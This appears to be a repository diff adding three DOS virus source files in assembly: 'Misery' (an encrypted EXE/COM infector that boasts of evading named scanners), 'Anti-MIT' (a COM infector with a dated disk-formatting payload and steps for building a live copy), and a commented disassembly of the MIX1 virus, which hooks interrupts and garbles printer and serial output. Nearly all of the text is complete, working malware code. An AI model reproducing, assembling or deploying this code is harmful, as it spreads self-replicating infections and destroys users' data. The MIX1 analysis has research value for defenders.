d0009e: org spc
cseg ends
end o00100

+252
View File
@@ -0,0 +1,252 @@
; VirusName: Misery
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-22-1993
;
; This is an mutation of Leprosy from 'PCM2'.
; Many thanks to the scratch coder of Leprosy
;
; We've tried this virus ourself, and it works just fine.
; It copies itself into other exe/com files on the
; current drive, and uses dot-dot for changing directory.
; Originally found in the United States Of America.
;
; There has been many mutations born from this virus,
; and here we give you another contribution.
; McAfee Scan v105 can't find it, and
; S&S Toolkit 6.5 don't find it either.
; I haven't tried with scanners like Fprot/Tbscan,
; but they will probably report some virus structure.
;
; Best Regards : [Metal Militia]
; [The Unforgiven]
title "MiSERY / Immortal Riot'93"
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 664 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor al,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0 ; To infect EXE's
com_filespec db "*.COM",0 ; To infect COM's
newdir db "..",0 ; Move up one directory
fake_msg db cr,lf,"Metal up your ass..$"
virus_msg1 db cr,lf,tab,"My friend of Misery...$"
virus_msg2 db cr,lf,tab,"Hearing only what you want to hear $"
virus_msg3 db cr,lf,tab,"and knowing only what you've heard$"
virus_msg4 db cr,lf,tab,"you you're smothered in tragedy$"
virus_msg5 db cr,lf,tab,"you're out to save the world$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,15 ; Are at least 15 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
mov dx,offset virus_msg5
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
main endp
code ends
end main

+315
View File
@@ -0,0 +1,315 @@
; ** Anti-MIT Virus **
; To assemble, use TASM and TLINK to create a .COM file. Next
; run the .COM file in the same directory of a file you want to infect.
; Your system may hang, but after re-booting you will notice an increase
; in the target files size. Now debug the newly infected file and replace
; the first three bytes with E8 05 00 (call to encryption). Re-write the
; .COM file and now you should have a running copy of the Anti-Mit virus!
;
; - Do not distribute the Anti-MIT virus for this
; activity is against the law! The author will take
; NO responsiblity for others.
; TEST ONLY
;
; For more info see MIT.DOX file.
name AntiMIT
title Anti-MIT: The original Anti-MIT virus code!
.radix 16
code segment
assume cs:code,ds:code
org 100
buffer equ offset 20000d ; Buffer
fname equ offset 20000d + 1eh ; DTA - File name
ftime equ offset 20000d + 16h ; DTA - File time
fsize equ offset 20000d + 1ah ; DTA - File size
olddta equ 80 ; Old DTA area
start:
jmp main ; *See above*
nop
jmp main ; Jmp to virus body
encrypt_val db 0 ; Randomized encryption value
decrypt: ; Encrypt/decrypt engine
encrypt: ; [SKISM type]
lea si, data
mov ah, encrypt_val
jmp fool_em ; Fool with the scanners
xor_loop:
lodsb ; ds:[si] -> al
xor al, ah
stosb ; al -> es:[di]
loop xor_loop
mov ah,19h ; Set current drive as default
int 21h
mov dh,al
mov ah,0eh
int 21h
ret
fool_em:
mov di, si
mov cx, stop_encrypt - data
jmp xor_loop
data label byte ; Virus data
message db 'MIT Sux! $' ; The "message"
lengthp dw ? ; Length of infected file
allcom db '*.COM',0 ; What to search for
virus db '[Anti-MIT]',0 ; Virus name
author db 'FŒrsØStrŒkä',0 ; Author
main: ; Main virus code
mov ah,2ah ; Get the date
int 21h
cmp dh,12d ; Month 12?
jnz next ; No
cmp dl,01d ; Day one?
jnz next ; No
lea dx,message ; Yes, set off the "bomb"
mov ah,09h
int 21h
mov ah,05h
mov al,02h
mov ch,00h
mov dh,00h
mov dl,80h
int 13h
mov ah,06h
int 13h
mov ah,05h
mov dl,00h
int 13h
mov ah,4ch ; Exit
int 21h
next:
mov cx,lengthp ; Figure out the Jmp
sub cx,eendcode-start
mov the_jmp,cx
push es ; Save ES
mov ax,3524h ; Get interrupt 24h handler
int 21h ; and save it in errhnd
mov [err1],bx
mov [err2],es
pop es ; Restore ES
mov ax,2524h ; Set interrupt 24h handler
lea dx,handler
int 21h
xor dx,dx ; Set DTA in "buffer" area
mov si,dx
mov dx,buffer
add dx,si ; Set new Disk Transfer Address
mov ah,1A ; Set DTA
int 21
find_first:
mov dx,offset allcom ; Search for '*.COM' files
mov cx,00000001b ; Normal, Write Protected
mov ah,4E ; Find First file
int 21
jc pre_done ; Quit if none found
jmp check_if_ill
mover: ; The "mover" code
push cs ; Store CS
pop es ; and move it to ES
mov di,0100h
lea si,eendcode ; Move original code to
add si,the_jmp ; beginning
add si,endcode-mover
mov cx,eendcode-start
rep movsb
mov di,0100h ; Jmp to CS:[100h]
jmp di
pre_done:
jmp done ; Long jmp
find_next:
mov ah,4fh ; Search for next
int 21h
jc pre_done
check_if_ill: ; File infected?
mov ax,cs:[ftime]
and al,11111b ; Look for the 62 sec marker
cmp al,62d/2 ; [Vienna type]
jz find_next
cmp cs:[fsize],19000d ; Check if file larger then
ja find_next ; 19000 bytes - if so skip
cmp cs:[fsize],500d ; Check if file smaller then
jb find_next ; 500 bytes - if so skip
mainlp: ; Write the virus
mov dx,fname
mov ah,43h ; Write enable
mov al,0
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
mov ax,3d02h ; Open file (read/write)
int 21h
jc pre_done
mov bx,ax
mov ax,5700h ; Get date for file
int 21h
mov [time],cx ; Save date info
mov [date],dx
mov ah,3fh ; Read original code into
mov dx,buffer ; buffer (length of virus)
mov cx,eendcode-start
int 21h
jc pre_done
cmp ax,eendcode-start
jne pre_done
mov ah,42h ; Go to end of file
mov al,02h
xor cx,cx
xor dx,dx
int 21h
jc pre_done
mov cx,ax
mov lengthp,ax ; Save original program code
mov ah,40h ; Write "mover" code to end
lea dx,mover ; of file
mov cx,endcode-mover
int 21h
jc done
cmp ax,endcode-mover
jne done
mov ah,40h ; Write original program code
mov dx,buffer ; to end of the file
mov cx,eendcode-start
int 21h
jc done
cmp ax,eendcode-start
jne done
mov ah,42h ; Go to front of file
mov al,00h
xor cx,cx
xor dx,dx
int 21h
jc done
stop_encrypt:
mov ah,2ch ; Get time
int 21h
mov encrypt_val,dh ; Use time as random encryption
call encrypt ; value
mov ah,40h ; Write virus code to front of
lea dx,start ; file
mov cx,eendcode-start
int 21h
jc done
cmp ax,eendcode-start
jne done
jmp date_stuff
handler:
mov al,0
iret
endp
time dw ? ; File stamp - time
date dw ? ; File stamp - date
err1 dw ? ; Original error handler
err2 dw ? ; address
date_stuff: ; Restore old file stamp
mov ax,5701h
mov cx,[time]
mov dx,[date]
and cl,not 11111b ; Set seconds field to 62 secs.
or cl,11111b
int 21h
mov ah,3eh
int 21h
mov dx,olddta ; Restore "original" DTA
mov ah,1ah
int 21h
push ds ; Save DS
mov ax,2524h ; Set interrupt 24h handler
mov dx,err1 ; Restore saved handler
mov dx,err2
mov ds,dx
int 21h
pop ds ; Restore DS
done:
xor cx,cx ; Clear registors
xor dx,dx
xor bx,bx
xor ax,ax
xor si,si
jmp_code db 0e9h ; Preform jmp to "mover" code
the_jmp dw ?
go:
eendcode label byte
nop ; krap
nop
nop
nop
nop
endcode label byte
code ends
end start
+857
View File
@@ -0,0 +1,857 @@
; THE MIX1 virus
;
; It was first detected in Israel in August '89.
;
; Disassembly done Sept. 24-25 '89.
;
; The author of this program is unknown, but it is clearly a
; modification of the "Icelandic" virus, with considerable
; additions
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by ... to ... bytes.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; "MIX1"
;
; To check for system infection, a byte at 0:33C is used - if it
; contains 77 the virus is installed in memory.
;
;
VIRSIZ EQU 128
;
; This is the original program, just used so this file, when
; assembled, will produce an active copy.
;
_TEXT1 SEGMENT PARA PUBLIC
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "Hello world!",0dh,0ah,"$"
_TEXT1 ENDS
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
; The virus is basically divided in the following parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 17 handler. All outgoing characters will be garbled.
;
; 3. The new INT 14 handler. All outgoing characters will be garbled.
;
; 4. The new INT 8 handler.
;
; 5. The new INT 9 handler. Disables the Num-Lock key
;
; 6. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; Parts 1 and 6 are almost identical to the Icelandic-1 version
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
VIRUS PROC FAR
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
ABRAX: DEC SP ; This used to be SUB SP,4
DEC SP
NOP
DEC SP
DEC SP
PUSH BP
MOV BP,SP
NOP ; added
PUSH AX
NOP ; added
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
MOV AX,0 ; Was: XOR AX,AX
MOV ES,AX
CMP ES:[33CH],BYTE PTR 077H
JNE L1
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
L1: MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
PUSH ES ; Two totally unnecessary instructions
POP AX ; added
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
PUSH BX ; Unnecessary addition
POP AX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block.
;
PUSH BX ; Was: MOV ES,BX
POP ES
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
MOV DI,SI
PUSH CS
POP DS
MOV CX,652H
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; Zero some variables
;
L3: MOV BYTE PTR CS:[MIN60],0
NOP
MOV BYTE PTR CS:[MIN50],0
NOP
MOV WORD PTR CS:[TIMER],0
;
; The most nutty way to zero ES register that I have ever seen:
;
MOV BX,0FFFFH
ADD BX,3F3FH
MOV CL,0AH
SHL BX,CL
AND BX,CS:[CONST0]
MOV AX,BX
MOV ES,AX
;
; Set flag to confirm installation
;
MOV BYTE PTR ES:[33CH],77H
;
; Hook interrupt 21:
;
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
;
; Hook interrupt 17:
;
MOV AX,ES:[005CH]
MOV CS:[OLD17],AX
MOV AX,ES:[005EH]
MOV CS:[OLD17+2],AX
MOV AX,CS
MOV ES:[005EH],AX
MOV AX,OFFSET NEW17
MOV ES:[005CH],AX
;
; Hook interrupt 14:
;
MOV AX,ES:[0050H]
MOV CS:[OLD17],AX
MOV AX,ES:[0052H]
MOV CS:[OLD14+2],AX
MOV AX,CS
MOV ES:[0052H],AX
MOV AX,OFFSET NEW14
MOV ES:[0050H],AX
;
;
;
CMP WORD PTR CS:[NOINF],5
JG HOOK9
JMP EXIT
;
; Hook interrupt 9
;
HOOK9: MOV AX,ES:[0024H]
MOV CS:[OLD9],AX
MOV AX,ES:[0026H]
MOV CS:[OLD9+2],AX
MOV AX,CS
MOV ES:[0026H],AX
MOV AX,OFFSET NEW9
MOV ES:[0024H],AX
;
; Hook interrupt 8
;
MOV AX,ES:[0020H]
MOV CS:[OLD8],AX
MOV AX,ES:[0022H]
MOV CS:[OLD8+2],AX
MOV AX,CS
MOV ES:[0022H],AX
MOV AX,OFFSET NEW8
MOV ES:[0020H],AX
JMP EXIT
;
; Video processing
;
VID: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
MOV AH,0FH
INT 10H
MOV AH,6
MUL AH
MOV BX,AX
MOV AX,DS:[BX+OFFSET VIDEOT]
MOV CX,DS:[BX+OFFSET VIDEOT+2]
MOV DX,DS:[BX+OFFSET VIDEOT+4]
MOV ES,DX
SHR CX,1
MOV
DI,1
CMP AX,0
JNZ V1
V0: INC WORD PTR ES:[DI]
INC DI
INC DI
LOOP V0
JMP SHORT V2
NOP
V1: NOT WORD PTR ES:[DI]
INC DI
INC DI
LOOP V1
V2: POP ES
POP DS
POP DI
POP DX
POP CX
POP BX
POP AX
RET
;
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
; This routine does not become active until 50 minutes after
; the execution of an infected program.
;
NEW9: PUSH AX
PUSH ES
CMP BYTE PTR CS:[MIN50],1
JNZ RETX1
XOR AX,AX
MOV ES,AX ; was xxxxxxxx
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
OR BYTE PTR ES:[417H],20H ; x01xxxxx
TEST BYTE PTR ES:[417H],0CH
JZ RETX1
IN AL,60
CMP AL,53
JNZ RETX1
AND BYTE PTR ES:[417H],0F7H
;
; This seems to be an error - the virus uses a FAR call, which will
; probably cause the computer to crash.
;
DB 9AH
DW OFFSET VID,171CH
;
; This needs more checking.
;
RETX1: POP ES
POP AX
DB 0EAH
OLD9 DW 0,0
;
; New INT 14 routine - garble all outgoing characters
;
NEW14: CMP AH,1
JZ S1
DO14: DB 0EAH
OLD14 DW 0,0
S1: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX] ; use old character as index into table
POP BX
JMP DO14
;
; New INT 8 routine
;
NEW8: PUSH DX
PUSH CX
PUSH BX
PUSH AX
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
JZ TT0 ; No need to check any more
INC WORD PTR CS:[TIMER] ; else increment timer
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
JZ TT1
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
JZ TT2
JMP TXEX
;
; 50 minutes after an infected program is run the flag is set.
;
TT2: MOV BYTE PTR CS:[MIN50],1
NOP
JMP TXEX
;
; 60 minutes after an infected program is run we start the ball bouncing.
;
TT1: MOV BYTE PTR CS:[MIN60],1
;
; Get current cursor position and save it
;
MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Set cursor position
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Check what is there and store it
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Set cursor position back as it was before
;
MOV AH,2
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Get current video mode and store it
;
MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
;
; Exit interrupt routine
;
JMP TXEX
;
; Every time an INT 8 occurs, after the 60 min. have passed, we
; end up here:
;
; First get current cursor position
;
TT0: MOV AH,3
MOV BH,0
INT 10H
MOV CS:[SCRLINE],DH
MOV CS:[SCRCOL],DL
;
; Then set it to last position of ball.
;
MOV AH,2
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Write previous character there ...
;
MOV AH,0EH
MOV AL,CS:[ONSCREEN]
MOV BX,0
INT 10H
;
;
CMP BYTE PTR CS:[UPDOWN],0
JZ T2
;
;
DEC BYTE PTR CS:[MYLINE]
JMP SHORT T3
NOP
T2: INC BYTE PTR CS:[MYLINE]
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
JZ T4
DEC BYTE PTR CS:[MYCOL]
JMP SHORT T5
NOP
T4: INC BYTE PTR CS:[MYCOL]
;
; Get current video mode
;
T5: MOV AH,0FH
INT 10H
MOV CS:[VMODE],AH
MOV AL,CS:[MAXLIN]
CMP CS:[MYLINE],AL ; bottom of screen ?
JNZ T6
;
; Reached bottom - now go upwards.
;
NOT BYTE PTR CS:[UPDOWN]
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
JNZ T7
;
; Reached top - now go downwards
;
NOT BYTE PTR CS:[UPDOWN]
T7: MOV AL,CS:[VMODE]
CMP CS:[MYCOL],AL
JNZ T8
NOT BYTE PTR CS:[LEFTRIGHT]
T8: CMP BYTE PTR CS:[MYCOL],0
JNZ T9
NOT BYTE PTR CS:[LEFTRIGHT]
;
; Set cursor position to new position of ball
;
T9: MOV AH,02
MOV BH,0
MOV DH,CS:[MYLINE]
MOV DL,CS:[MYCOL]
INT 10H
;
; Get what is there and store it.
;
MOV AH,8
MOV BH,0
INT 10H
MOV CS:[ONSCREEN],AL
;
; Write character (lower case o)
;
MOV AH,0EH
MOV AL,6FH
MOV BX,0
INT 10H
;
; And restore cursor position
;
MOV AH,02
MOV BH,0
MOV DH,CS:[SCRLINE]
MOV DL,CS:[SCRCOL]
INT 10H
;
; Restore registers and quit
;
TXEX: POP AX
POP BX
POP CX
POP DX
DB 0EAH
OLD8 DW 0,0
;
; New INT 17 routine. Garble all outgoing characters.
;
NEW17: CMP AH,0
JZ P0
DO17: DB 0EAH
OLD17 DW 0,0
P0: PUSH BX
XOR BX,BX
MOV BL,AL
ADD BX,OFFSET ERRTAB
MOV AL,CS:[BX]
POP BX
JMP DO17
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21: CMP AH,4BH
JE L5
DO21: DB 0EAH
OLD21 DW 0,0
;
; The code to only infect every tenth program has been removed
;
L5: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP DO21
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
;
; This part of the code is new: Get date of file.
;
MOV AX,5700H
INT 21H
JC L9
MOV CS:[DATE1],DX
MOV CS:[DATE2],CX
;
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
;
; This part of the virus is new - check if it is below minimum length
;
CMP DX,0
JNE L8B
MOV CL,13
SHR AX,CL
CMP AX,0
JG L8B
JMP SHORT L9
NOP
L8B: MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,494DH
JNE L12
MOV AX,[SI+2]
CMP AX,3158H
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: MOV DX,0 ; Was: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
JMP SHORT F0 ; some unnecessary instructions
NOP
; First modify initial IP
;
F0: MOV AX,OFFSET LABEL
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
MOV CL,CS:[CONST1] ; Modified a bit
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SHR DX,CL
RCR AX,CL
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
MOV CX,0 ; was XOR CX,CX
AND DX,CS:[CONST0] ; was XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
;
; This part is new: Restore old date.
;
MOV DX,CS:[DATE1]
MOV CX,CS:[DATE2]
MOV AX,5701H
INT 21H
JC ENDIT
INC WORD PTR CS:[NOINF]
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
;
;
DW 0
VIDEOT: DW 0000H, 07D0H, 0B800H
DW 0000H, 07D0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0000H, 0FA0H, 0B000H
DW 0001H, 3E80H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0002H, 0000H, 0000H
DW 0002H, 0000H, 0000H
